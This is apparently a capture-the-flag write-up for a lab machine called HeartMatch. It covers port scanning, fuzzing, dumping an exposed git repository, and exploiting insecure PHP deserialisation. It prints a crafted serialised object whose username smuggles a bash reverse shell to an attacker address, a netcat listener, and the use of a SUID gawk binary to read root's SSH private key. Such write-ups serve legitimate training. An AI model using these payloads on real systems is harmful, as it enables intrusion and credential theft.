Published on

HeartMatch Writeup

Authors
heartmatch

Port Scanning

export IP=172.16.8.163
nmap -sV -sC -p- -v $IP --min-rate 3000
heartmatch

Only the ports 22 (SSH), 80 (HTTP) and 5173 (unkown) were found opened.

Enumeration

curl -I 172.16.8.163
heartmatch 1

When we tried to get the Headers, the application redirects to heartmatch.hc , we need to put this domain on our local DNS

sudo vim /etc/hosts
heartmatch 2
heartmatch 3

Now we can access the application.

Fuzzing

ffuf -w /usr/share/seclists/Fuzzing/fuzz-Bo0oM.txt -u http://heartmatch.hc/FUZZ -fw 54
heartmatch 4

Somehow, the application is leaking internal files, like hosts and passwd.

Checking the /etc/hosts file, we found a subdomain called backoffice-admin-hm.heartmatch.hc.

We need to add this subdomain in our local DNS too.

sudo vim /etc/hosts
heartmatch 5

No we can access the subdomain

heartmatch 6

I registered a new account and log in into the application

heartmatch 7
heartmatch 8

I checked the existing routes and nothing was found in this application too, so we are going to fuzzing part2.

ffuf -w /usr/share/seclists/Fuzzing/fuzz-Bo0oM.txt -u http://backoffice-admin-hm.heartmatch.hc/FUZZ
heartmatch 9

Ffuf found a git exposed.

Using the tool git-dumper we downloaded all the files

https://github.com/arthaud/git-dumper

git-dumper http://backoffice-admin-hm.heartmatch.hc/.git/ src
heartmatch 10

With the source code of the application in hands, we can start de code review.

Code Review

The PHP application was using object deserialization with the UserSession class, which included the following magic method:

heartmatch 11

The __wakeup() method is automatically called when an object is deserialized. The developer intended to validate the plan and then use system() to save it to a file named after the username.

The issue

The username field was not sanitized, which made it possible to inject arbitrary shell commands.

Even though plan had to be "free" or "premium", nothing prevented username from containing dangerous input. For example:

$username = "test.txt; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'; #";

This causes the following system command to be executed:

system("echo premium > /tmp/test.txt; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'; #.txt");

In other words, after writing the plan to a file, the system executes the injected reverse shell command.

Proof of concept (POC)

I crafted the following PHP object:

<?php
class UserSession {    public $username = "attacker.txt; bash -c 'bash -i >& /dev/tcp/10.0.31.150/1337 0>&1'; #";    public $plan = "premium";}
echo base64_encode(serialize(new UserSession()));
heartmatch 19

Foot Hold

After running our poc, it will generate a serialized base64 encoded and sent as the value of the user_data cookie.

heartmatch 12

Now we need to start our listener

nc -lnvp 1337

After that, we send our payload into our cookie session and reload the page, so it can trigger the insecure desseralization

heartmatch 13
heartmatch 14

Privillege Escalation

Gawk binary with SUID permission

find / -type f -perm -04000 -ls 2>/dev/null
heartmatch 15

https://gtfobins.github.io/gtfobins/gawk/

With this binary we can read any file in the server, so we can use to read the final flag, or get the root ssh key.

LFILE=root/.ssh/id_rsa
/usr/bin/gawk '//' "$LFILE"
heartmatch 16
vim id_rsa
chmod 600 id_rsa
ssh root@172.16.8.163 -i id_rsa
heartmatch 20

Proof

heartmatch 17